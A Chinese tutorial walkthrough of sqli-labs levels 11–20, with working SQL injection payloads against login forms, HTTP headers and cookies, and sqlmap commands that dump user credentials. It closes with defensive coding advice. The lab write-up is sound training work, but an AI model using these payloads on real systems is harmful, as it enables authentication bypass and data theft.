1. 从登录框到文件上传:Less 11-20 的攻防实战全景
如果你已经跟着我一起拿下了 sqli-labs 的前十关,那么恭喜你,你已经跨过了 SQL 注入的“新手村”。从 Less 11 开始,整个游戏的性质就变了。前面的关卡,我们面对的是一个又一个孤立的、参数明确的输入点,像是靶场里固定好的靶子。而从第 11 关起,我们进入的是一个更贴近真实世界的“模拟战场”:登录框、Cookie、HTTP 头、文件上传点。攻击面不再单一,防御机制也开始出现,你需要像一个真正的渗透测试员一样去思考、去迂回、去组合利用各种技巧。这十关,不仅仅是 SQL 注入技术的深化,更是一场关于 Web 应用安全思维的全面训练。今天,我就带你一起,把这十关的“通关秘籍”掰开揉碎了讲清楚,不止是 payload,更是背后的逻辑和实战中可能遇到的坑。
2. 核心思路转变:从参数注入到多维攻击
在 Less 1-10 中,我们主要与GET参数打交道,注入点相对直观。而从 Less 11 开始,场景变得复杂,我们的攻击思路必须随之升级。
2.1 攻击向量多元化
攻击不再局限于 URL 中的id参数。我们将面对:
- POST 请求体注入 (Less 11, 12):数据通过表单提交,隐藏在 HTTP 请求的 body 中,不可见于 URL。你需要使用 Burp Suite、HackBar 或直接编写 Python 脚本进行测试。
- Cookie 注入 (Less 19, 20):应用程序将用户标识(如
Uagent,uname)存储在 Cookie 中,并在后端直接用于数据库查询。这常常是开发人员容易忽略的“信任边界”。 - HTTP 头部注入 (Less 18, 19):
User-Agent和Referer等 HTTP 头部信息被记录到数据库。攻击者可以伪造这些头部来实施注入。 - 二次注入 (Less 24):虽然不在本次 11-20 关,但思维一脉相承。用户输入先被存入数据库(经过转义或过滤),之后在另一个上下文中从数据库读出并被使用时,仍能触发注入。
2.2 防御机制初现与绕过
从 Less 11 起,部分关卡开始引入简单的防御,例如:
- 引号过滤或转义:代码可能使用
mysql_real_escape_string()或addslashes()函数处理输入。我们的 payload 需要相应调整,比如寻找数字型注入点,或使用编码、注释等手段绕过。 - 错误信息屏蔽:页面可能不再显示详细的数据库错误信息,迫使我们从“基于错误的注入”转向“基于布尔”或“基于时间”的盲注。这对我们的耐心和技巧是更大的考验。
2.3 工具链的深化使用
单纯依靠浏览器地址栏已经不够了。你必须熟练掌握:
- Burp Suite Repeater/Intruder:用于拦截、修改和重放 POST 请求、Cookie 和头部,并进行自动化模糊测试与爆破。
- SQLMap:在手动理解注入点后,可以利用 SQLMap 进行自动化利用,获取数据。理解其
--data,--cookie,--headers等参数至关重要。 - Python/脚本编写:对于盲注,编写一个简单的脚本来自动化请求和判断,能极大提升效率。
注意:在真实测试中,务必在授权范围内进行。本文所有操作均在 sqli-labs 这类特意构建的、合法的靶场环境中完成,用于学习安全技术。
3. 关卡精解与实战拆解 (Less 11 - Less 20)
下面,我们逐关深入,不仅给出通关 payload,更重点分析每关的独特之处、测试思路和可能遇到的陷阱。
3.1 Less 11 & 12:POST 登录框注入入门
关卡特点:这是一个经典的登录表单,使用POST方法提交用户名和密码。这是 Web 安全中最常见的场景之一。
测试思路:
- 判断注入点:在用户名或密码框输入单引号
‘,提交后观察页面回显。如果出现 SQL 语法错误,则证明存在注入点。Less 11 通常会在用户名处报错。 - 判断字段数:使用
‘ order by [数字] --+在 POST 数据中测试。例如,在 Burp Suite 的 Repeater 中,将请求体改为uname=admin‘ order by 3 --+&passwd=1。通过不断递增数字,直到页面返回异常,来确定查询语句中的列数。 - 确定回显点:使用联合查询
‘ union select 1,2 --+。如果字段数是2,且页面某处显示了1或2,则说明该位置可以用于回显我们查询的数据。 - 获取数据:将回显点替换为需要的函数,如
‘ union select database(), version() --+。
Less 11 通关 Payload (基于错误的字符型注入):
用户名:admin‘ or ‘1‘=‘1 密码:任意原理:构造的 SQL 语句可能为SELECT * FROM users WHERE username=‘admin‘ or ‘1‘=‘1‘ AND password=‘...‘。由于‘1‘=‘1‘恒真,OR运算符使得整个WHERE条件为真,从而绕过认证。
Less 12 通关 Payload (基于错误的带括号字符型注入):
用户名:admin“) or (“1”)=“1 密码:任意原理:这一关的 SQL 语句可能形如SELECT * FROM users WHERE (username=‘...‘) AND (password=‘...‘)。我们通过闭合前面的双引号和括号,并构造恒真条件,来达成注入。注意这里使用了双引号“和括号)。
实操心得:
- Burp Suite 是关键:拦截登录请求,在 Repeater 中修改
uname和passwd参数,比在浏览器表单里反复输入方便得多。 - 注意编码:在 Burp Suite 或脚本中,
+号有时需要替换为%2B,空格有时需要替换为%20或+,具体看服务端如何解析。--+中的+就是为了注释掉后面的空格和原有 SQL。 - 错误信息是宝藏:仔细阅读错误信息,它能告诉你 SQL 语句的原始结构(比如有没有括号,用的是单引号还是双引号),这是构造正确 payload 的指南针。
3.2 Less 13 & 14:POST 盲注的敲门砖
关卡特点:同样是登录框,但页面不再输出数据库错误信息,也无法进行联合查询回显数据。你只能通过页面返回的不同状态(登录成功/失败)来推断信息。这是基于布尔的盲注。
测试思路:
- 验证盲注存在:输入一个肯定为真的条件和一个肯定为假的条件,观察页面反应。
- 真:
admin‘) and 1=1 --+(页面可能显示登录失败,但重点是看与假条件的区别) - 假:
admin‘) and 1=2 --+ - 如果两个请求返回的页面内容(如标题、细微提示、响应长度)有差异,则布尔盲注可行。
- 真:
- 逐位猜解数据:利用
substring()或mid()函数,以及ascii()函数,将数据(如数据库名)的每一个字符转换为 ASCII 码,然后通过and ascii(substring(database(),1,1))>100这样的条件,通过二分法(>, <)来逐个字符猜解。substring(database(),1,1):获取数据库名第一个字符。ascii(...):将其转为 ASCII 码值。>100:判断该值是否大于 100。根据页面返回是真还是假,不断调整数值(二分法:50? 75?),最终确定精确的 ASCII 码,再转换为字符。
Less 13 通关 Payload (基于布尔的带括号盲注): 目标:绕过登录。我们不需要知道具体数据,只需构造一个恒真条件。
用户名:admin‘) or (‘1‘)=‘1 密码:任意原理:与 Less 12 类似,通过闭合括号和引号,插入一个恒真的OR条件。
手动盲注示例 (猜解数据库名第一个字符): 假设我们通过测试知道,当条件为真时,页面返回“Login failed”,为假时返回“Something else”。 我们在 Burp Suite Intruder 中设置攻击:
- 攻击类型:Sniper
- 载荷位置:
uname=admin‘) and ascii(substring(database(),1,1))=§§ --+&passwd=1 - 载荷类型:Numbers,从 65 (A) 到 122 (z),步长为 1。
- 发起攻击后,查看哪个请求的返回页面与“条件为真”的状态一致,该载荷对应的数字就是第一个字符的 ASCII 码。
实操心得:
- 响应差异比对:使用 Burp Suite 的
Comparer功能或直接观察响应长度(Length),比肉眼比对 HTML 内容更可靠。 - 二分法效率:手动猜解时,用二分法(猜 > 100? 是 -> > 150? 否 -> > 125? ...)比从 65 开始逐个尝试快得多。
- 上工具:对于真正的盲注,强烈建议使用 SQLMap 或编写 Python 脚本。手动完成整个数据库的猜解极其耗时。例如 SQLMap 命令:
sqlmap -u “http://靶场地址/less-13/” --data=“uname=admin&passwd=1” --level=3 --risk=2 --technique=B --batch
3.3 Less 15 & 16:时间盲注的初体验
关卡特点:页面在任何情况下(真或假)返回的内容看起来都完全一样,布尔盲注失效。此时,我们需要利用基于时间的盲注。通过让数据库执行一个延时函数,根据页面响应时间的长短来判断注入条件是否成立。
核心函数:sleep(seconds)或benchmark(count, expr)。
if(condition, true_part, false_part):条件判断函数。
测试思路:
- 验证时间注入:提交
admin‘) and sleep(5) --+。如果页面响应大约延迟了 5 秒,则证明时间注入可行。 - 构造时间判断逻辑:使用
if()函数将条件判断与延时绑定。- 示例 Payload:
admin‘) and if(ascii(substring(database(),1,1))>100, sleep(5), 1) --+ - 如果第一个字符的 ASCII 码大于 100,则数据库会睡眠 5 秒,页面响应变慢;否则立即返回。
- 示例 Payload:
Less 15 通关 Payload (基于时间的单引号盲注):
用户名:admin‘ or sleep(5) --+ 密码:任意原理:OR运算符使得整个条件为真,sleep(5)一定会被执行,从而造成页面延迟,间接证明注入存在。要获取数据,需要结合if()函数。
时间盲注手动测试技巧:
- 使用计时器:在浏览器开发者工具的 Network 面板,或 Burp Suite 的 Repeater 响应时间栏,观察
Response time。 - 设置合理延时:初始测试用
sleep(3)或sleep(5),确保网络波动下也能明显区分。正式猜解时可以用sleep(2)提高效率。 - 注意网络影响:时间盲注受网络延迟影响大,需要设置一个时间阈值(如,响应时间 > 3 秒则认为
sleep执行了)。
SQLMap 自动化: 时间盲注是 SQLMap 的强项。使用--technique=T指定时间盲注技术。
sqlmap -u “http://靶场地址/less-15/” --data=“uname=admin&passwd=1” --technique=T --time-sec=5 --batch--time-sec=5:设置延时秒数。
3.4 Less 17:UPDATE 语句注入与密码重置
关卡特点:这是一个“忘记密码”或“修改密码”的功能点。注入发生在UPDATE语句中,通常形式为UPDATE users SET password=‘新密码‘ WHERE username=‘输入的用户名‘。这是一个非常危险且常见的漏洞场景。
攻击思路:
- 找到注入点:在用户名输入框尝试
admin‘,可能会报错。 - 利用报错注入:
UPDATE语句注入常与报错注入结合使用,因为可能没有直接的查询结果回显。使用extractvalue()或updatexml()函数。extractvalue(目标XML文档, XML路径):第二个参数如果包含非法 XPath 格式,会报错并将非法路径的内容输出到错误信息中。- Payload 构造:
admin‘ and extractvalue(1, concat(‘~‘, (select database()), ‘~‘)) --+ - 原理:
concat(‘~‘, (select database()), ‘~‘)会生成类似~security~的字符串。extractvalue(1, ‘~security~‘)会因‘~security~‘不是合法 XPath 而报错,错误信息中通常会包含这个字符串,从而泄露数据。
Less 17 通关 Payload (报错注入):
用户名:admin‘ and extractvalue(1, concat(‘~‘, (select database()), ‘~‘)) --+ 新密码:任意(如 123)提交后,查看页面返回的错误信息,你很可能看到类似‘~security~‘的内容。
实操心得:
- 理解上下文:
UPDATE注入的 payload 需要确保原 SQL 语句语法正确。我们通常在WHERE子句后添加and [注入语句],这样既能保持UPDATE执行(可能修改了所有用户密码!在靶场没关系),又能触发我们的注入。 - 报错信息长度限制:
extractvalue()和updatexml()报错输出的信息长度有限制(约 32 个字符)。如果要提取长数据(如表内容),需要用substring()或limit分多次提取。 - 危害极大:在真实场景中,UPDATE 注入可以直接修改其他用户的数据,如密码、邮箱、余额等,危害等级通常为“高危”或“严重”。
3.5 Less 18 & 19:HTTP 头部注入的奇袭
关卡特点:这两关将用户输入(User-Agent和Referer)直接插入数据库查询语句。攻击者通过伪造 HTTP 请求头部进行注入。
Less 18 (User-Agent 注入):
- 场景:登录成功后,页面显示了你的
User-Agent信息。这说明后端将$_SERVER[‘HTTP_USER_AGENT‘]存入了数据库。 - 攻击:使用 Burp Suite 拦截登录成功的请求,修改
User-Agent头部的值。 - Payload:因为
User-Agent通常被引号包裹插入 SQL,所以是字符型注入。
注意:这里使用了User-Agent: Mozilla/5.0 ...‘ + updatexml(1, concat(‘~‘, database(), ‘~‘), 1) + ‘+号进行字符串拼接(在某些数据库如 MySQL 中可用)。更通用的方法是使用注释:‘, updatexml(1, concat(‘~‘, database(), ‘~‘), 1), ‘ ‘) --,但需要了解具体的 SQL 语句结构。
Less 19 (Referer 注入):
- 场景:登录后,页面显示了
Referer信息。 - 攻击:拦截登录请求(或登录后跳转的任何请求),修改
Referer头部的值。 - Payload:与 Less 18 类似。
Referer: http://靶场地址/less-19/‘ + extractvalue(1, concat(‘~‘, version(), ‘~‘)) + ‘
实操心得:
- 抓对请求:Less 18 的注入点在登录请求的
User-Agent,而 Less 19 的注入点可能在登录请求,也可能在登录后刷新页面的请求的Referer。需要仔细测试。 - 注意头部格式:修改头部时,确保其值仍然是合法的字符串格式,避免破坏整个 HTTP 请求。
- 工具自动化:SQLMap 同样支持头部注入,使用
--headers参数。例如:sqlmap -u “http://靶场地址/less-19/” --data=“uname=admin&passwd=admin” --headers=“Referer: http://test.com“ --batch --level=3。--level=3会检测Referer和User-Agent。
3.6 Less 20:Cookie 注入与信任边界
关卡特点:登录后,服务器将用户名(uname)设置在了 Cookie 中。后续请求直接使用 Cookie 中的值进行数据库查询,以此识别用户身份。如果这个值未经妥善处理就直接拼入 SQL,就形成了 Cookie 注入。
攻击流程:
- 正常使用
admin/admin登录。 - 登录成功后,浏览器会收到一个包含
uname的 Cookie(例如uname=admin)。 - 使用 Burp Suite 拦截对主页的任何请求(如刷新页面)。
- 修改 Cookie 头中的
uname值,进行注入。Cookie: uname=admin‘ union select 1, database(), version() -- - 发送请求,页面可能会将数据库名和版本号显示在原本显示用户名的地方。
原理:后端代码可能类似于$sql = “SELECT * FROM users WHERE username=‘“ . $_COOKIE[‘uname‘] . “‘“;。我们通过修改 Cookie,完全控制了注入点的输入。
实操心得与陷阱:
- “信任”的陷阱:Cookie 常被开发者视为“安全”的,因为它是服务器发给客户端的,从而放松了警惕。这是非常错误的观念。任何来自客户端的输入都不可信,包括 Cookie、HTTP 头部、隐藏表单域等。
- 影响范围广:Cookie 注入一旦成功,攻击者可以盗取任何登录用户的会话(因为可以伪造其他用户的
uname),危害极大。 - 测试方法:除了手动修改,也可以用 SQLMap 的
--cookie参数:sqlmap -u “http://靶场地址/less-20/” --cookie=“uname=admin” --level=2 --batch。
4. 工具进阶:SQLMap 在多维注入中的实战命令
手动理解原理是关键,但实战中效率同样重要。以下是针对这些关卡类型的 SQLMap 常用命令模板:
1. POST 数据注入 (Less 11, 12, 13, 14, 15, 16, 17):
sqlmap -u “http://靶场地址/less-11/” --data=“uname=admin&passwd=1” --batch--data:指定 POST 请求体。
2. Cookie 注入 (Less 20):
sqlmap -u “http://靶场地址/less-20/” --cookie=“uname=admin” --level=2 --batch--level=2:默认级别 1 不测试 Cookie,级别 2 会测试 Cookie。
3. HTTP 头部注入 (Less 18, 19):
# 测试 User-Agent 和 Referer sqlmap -u “http://靶场地址/less-18/” --data=“uname=admin&passwd=admin” --level=3 --risk=2 --batch--level=3:会测试User-Agent和Referer头部。--risk=2:启用风险更高的测试(如OR布尔注入)。
4. 指定注入技术:
--technique=B:布尔盲注 (Less 13, 14)--technique=T:时间盲注 (Less 15, 16)--technique=E:报错注入 (Less 17)
5. 获取数据:
--current-db:当前数据库--dbs:所有数据库-D security --tables:security库的所有表-D security -T users --columns:users表的所有列-D security -T users -C username,password --dump:导出username和password列的数据。
重要提示:使用 SQLMap 时,务必先通过手动测试确认注入点类型和大致位置,再用
-p参数指定参数(如-p “uname“),避免盲目扫描对服务器造成过大压力或触发防护。
5. 防御视角:从攻击中学习安全编码
通关不是目的,从攻击中理解防御才是。针对这十关暴露的问题,开发者应做到:
- 最小权限原则:数据库连接账户不应拥有
root或DBA权限,只赋予其应用所需的最小权限。 - 预编译语句(参数化查询):这是防止 SQL 注入最根本、最有效的方法。使用
PDO(PHP) 或PreparedStatement(Java) 等,将 SQL 语句结构与数据分离。// PHP PDO 示例 $stmt = $pdo->prepare(‘SELECT * FROM users WHERE username = :username AND password = :password‘); $stmt->execute([‘username‘ => $uname, ‘password‘ => $passwd]); - 输入验证与过滤:在允许的范围内,对输入进行严格的白名单验证(如用户名只允许字母数字)。对于无法白名单的,进行适当的转义(但不要依赖它作为主要防御)。
- 对不可信数据一视同仁:无论是
GET、POST、Cookie、Header,只要是来自客户端,都必须经过严格的验证和处理。 - 错误信息处理:生产环境应禁用或规范化数据库错误信息,避免向用户泄露敏感信息(如表结构、SQL 语句片段)。
- 使用 Web 应用防火墙:部署 WAF 可以帮助拦截常见的攻击模式,作为纵深防御的一环。
通关 Less 11 到 Less 20,你完成的不仅仅是一系列 SQL 注入技巧的练习,更是一次对 Web 应用攻击面和安全边界的深刻认知。从简单的输入框到复杂的 HTTP 协议各个部分,攻击者的视角无处不在。而作为防御者,必须建立起“所有输入皆有害”的零信任思维。建议你在完成这些关卡后,尝试用安全的编码方式去重写这些有漏洞的页面,这才是将知识内化的最好途径。